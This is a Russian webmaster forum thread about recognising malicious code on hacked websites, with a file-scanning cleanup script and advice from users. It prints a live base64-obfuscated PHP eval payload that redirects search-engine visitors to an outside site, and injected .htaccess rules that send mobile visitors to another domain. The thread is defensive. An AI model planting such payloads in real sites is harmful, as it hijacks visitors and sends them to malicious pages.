Если вам нравится SbUP Форум, вы можете поддержать его - BTC: bc1qppjcl3c2cyjazy6lepmrv3fh6ke9mxs7zpfky0 , TRC20 и ещё....

 

Как выглядит вредоносный код?

Автор Гарик+, 19-08-2012, 15:13:46

« назад - далее »

Гарик+Topic starter

Обычно это зашифрованный участок рнр-кода.
Для тех, кто никогда не сталкивался с такми чудесами, приведу здесь пример:
еvаl(bаsе64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vYnJ1Z2dlLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0="));


Morfiy

#1
Сегодня нашел в .htaccess очень странный кусок кода, который там появился по непонятным причинам:
ЦитироватьRewriteEngine on
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "acs|alav|alca|amoi|audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|opwv" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|w3cs|wap-|wapa|wapi" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "wapp|wapr|webc|winw|winw|xda|xda-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "up.browser|up.link|windowssce|iemobile|mini|mmp" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "symbian|midp|wap|phone|pocket|mobile|pda|psp|PPC|Android" [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://ya404.ru/?stream=264&type=auto [L,R=302]
Я так понимаю кто то решил перенаправить всех мобильных посетителей с моего сайта?


Глеб Александрович

Это было у меня

[spoiler]<?header("Content-type: text/html; charset=cp1251");?><html><head><title>Поиск файлов</title></head><body><?
define('DisableReplace',true);

if ($_REQUEST['code'])
{
   define('START_TIME', time()); // засекаем время старта
   define('CODE', str_replace("\r\n","\n",$_REQUEST['code'])); // строка поиска
   define('START_PATH', dirname(__FILE__)); // стартовая папка для поиска
   define('LOG',START_PATH.'/filelist.txt'); // файл с результатами
   if ($_REQUEST['break_point'])
      define('SKIP_PATH',$_REQUEST['break_point']); // промежуточный путь
   else
      @unlink(LOG); // первый раз, удалим файл со старыми результатами


   Search(START_PATH);
   if (defined('BREAK_POINT'))
   {
      ?><form method=post id=postform>
         <input type=hidden name=go value=y>
         <input type=hidden name=code value="<?=htmlspecialchars(CODE)?>">
         <input type=hidden name=break_point value="<?=htmlspecialchars(BREAK_POINT)?>">
      </form>
      Идёт поиск...<br>
      Текущий файл: <i><?=htmlspecialchars(BREAK_POINT)?></i>
      <script>window.setTimeout("dоcument.getElementById('postform').submit()",500);</script><? // таймаут чтобы браузер показал текст
      die();
   }
   $iframe = "<iframe src=filelist.txt width=100% height=600></iframe>";
}
else
   $iframe = '';
?>
<h1>Поиск заражённых файлов php</h1>
<p>Пример скрипта, описанного в блоге: <a href="http://dev.1c-bitrix.ru/community/blogs/howto/1051.php">http://dev.1c-bitrix.ru/community/blogs/howto/1051.php</a></p>
Папка для поиска: <b><?=dirname(__FILE__)?></b><br>
Введите искомый текст (текст вируса):
<form method=post>
   <textarea name=code cols=80 rows=10><?=htmlspecialchars($_REQUEST['code'])?></textarea>
   <br><input type=submit name=go value="Поиск"> печать списка в файл
   <? if (!defined('DisableReplace') || DisableReplace == false) { ?>
   <br><input type=submit name=cure value="Замена"> удаление из всех файлов найденного текста, исходные файлы переименовываются в [имя].orig
   <br><input type=submit name=restore value="Восстановление"> обратное переименование из *.php.orig файлов с вирусом в .php
   <? } ?>
</form>
<?
   if (file_exists(LOG))
      echo $iframe;

function Search($path)
{
   if (time() - START_TIME > 10)
   {
      if (!defined('BREAK_POINT'))
         define('BREAK_POINT', $path);
      return;
   }

   if (defined('SKIP_PATH') && !defined('FOUND')) // проверим, годится ли текущий путь
   {
      # /bitrix/components/bitrix/forum/message
      # /bitrix/components/alpha - годится
      # /bitrix/components/alpha/beta - не годится
      if (0!==strpos(SKIP_PATH, dirname($path))) // отбрасываем имя или идём ниже
         return;

      if (SKIP_PATH==$path) // путь найден, продолжаем искать текст
         define('FOUND',true);
   }

   if (is_dir($path)) // dir
   {
      $dir = opendir($path);
      while($item = readdir($dir))
      {
         if ($item == '.' || $item == '..')
            continue;

         Search($path.'/'.$item);
      }
      closedir($dir);
   }
   else // file
   {
      if (!defined('SKIP_PATH') || defined('FOUND'))
      {
         if (substr($path,-4) == '.php')
         {
            $str = file_get_contents($path);
            $str = str_replace("\r\n","\n",$str);
         
            if (false !== strpos($str,CODE))
               Mark($path, $str);
         }
         elseif ($_REQUEST['restore'] && substr($path, -9) == '.php.orig')
            rename($path,substr($path,-5)); // отрезаем 5 символов справа: .orig
      }
   }
}

function Mark($file, $str)
{
   static $res;
   if (!$res)
      $res = fopen(LOG,'ab');
   if (!$res)
      die('no permissions: '.LOG);
   if ($_REQUEST['cure'])
   {
      if (!copy($file,$file.'.orig'))
         die('no permissions: '.$file);
      $f = fopen($file,'wb');
      if (!$f)
         die('no permissions: '.$file);
      fwrite($f, str_replace(CODE,'',$str));
      fclose($f);
   }
   fwrite($res,substr($file,strlen(START_PATH))."\n");
}
?>
[/spoiler]

GreyWizard

Вредоносный код на сайте нужен в массе случаев для двух случаев: перенаправление пользователя куда нужно или код для загрузки юзеру трояна.

В первом случае, если код не зашифрован то вы наверняка найдете линк на левый сайт.

Во втором случае скорее всего будет непонятный набор символов, который конечно же является зашифрованным жаваскриптом.

В любом случае, что то неестественное в коде точно будет. Проблема в том, где это неестественное искать, особенно когда сайт с 10-100к страниц и больше
Услуги по веб безопасности: проверка ваших веб проектов на уязвимости, рекомендации по их устранению и устранение. Цена от 25$ (только тестирование). Лечение сайтов от вирусов, а после лечение определение дыры в безопасности. От 50$
  •  

bibika

ЦитироватьЯ так понимаю кто то решил перенаправить всех мобильных посетителей с моего сайта?

Да, Вы все правильно поняли.


zhel_kon

Какую только дрянь не пихают. Обслуживаю несколько десятков сайтов на джумле. Собрал целую коллекцию.
Раньше раскодировал, но быстро надоело.
Кстати в Яндексе, в справочнике по безопасности собрана большая подборка. Есть на что посмотреть. На Mchost поставили неплохую опцию, она указывает, в каком файле сайта зараза сидит.
  •  



Если вам нравится SbUP Форум, вы можете поддержать его - BTC: bc1qppjcl3c2cyjazy6lepmrv3fh6ke9mxs7zpfky0 , TRC20 и ещё....